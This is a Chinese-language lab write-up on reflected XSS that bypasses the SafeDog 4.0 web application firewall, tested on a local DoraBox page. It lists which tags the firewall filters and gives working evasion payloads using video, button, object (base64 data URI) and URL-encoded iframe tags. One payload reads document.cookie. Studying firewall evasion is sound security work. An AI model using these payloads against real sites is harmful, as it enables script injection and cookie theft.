XSS绕过安全狗4.0的方法
实验环境
Windows 10+phpstudy+安全狗apache版本v4.0+PHP代码
测试代码
1. <!DOCTYPE html> 2. <html> 3. <head> 4. <meta charset="utf-8"> 5. <title>DoraBox - 反射XSS</title> 6. </head> 7. <body> 8. <?php 9. include "../class/function.class.php"; 10. $p = new Func("GET","name"); 11. $p -> con_html(); 12. if (isset($_REQUEST['submit'])) { 13. $name = $_REQUEST['name']; 14. echo $p -> con_function('var_dump',$name); 15. } 16. ?> 17. </body> 18. </html>
实验步骤
首先先测试过滤那些标签 如图所示:
标签:
1. <script> <a> <p> <img> <body> <button> <var> <div> <iframe> <object> <input> 2. <textarea> <keygen> <frameset> <embed> <svg> <math> <video> <audio> <select>
没有过滤的标签:
1. <a> 2. <body> 3. <button> 4. <var> 5. <iframe> 6. <object> 7. <keygen> 8. <math> 9. <svg>
绕过方法
可以弹窗的:alert,prompt ,confirm,base64加密,编码绕过(安全狗都没有过滤)
video标签:
1. <video src=x onerror=prompt(1);> 2. <video src=x onerror=alert(48)>
button标签:
1. <button onfocus=alert(1) autofocus> 2. <button/onclick=alert(1) >xss</button>
object标签:
1. <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object> 2. 3. base64加密:PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg 4. 解码:<script>alert(1)</script>
iframe标签:
1. <IFRAME width%3d"420" height%3d"315" frameborder%3d"0" onload%3d"alert(document.cookie)"><%2fIFRAME> 2. <iframe srcdoc%3d'%26lt%3bbody onload%3dprompt%26lpar%3b1%26rpar%3b%26gt%3b'>
总结
对于绕waf,我也是在学习阶段理解的并不多,但是我个人觉得多了解一些数据库的特性,一些不常见小的技巧、函数等,分析waf的规则,waf规则总有漏网之鱼。最后,文章只是记录自己学习的过程,有些想法不是很完善,仅仅是一些想法分享。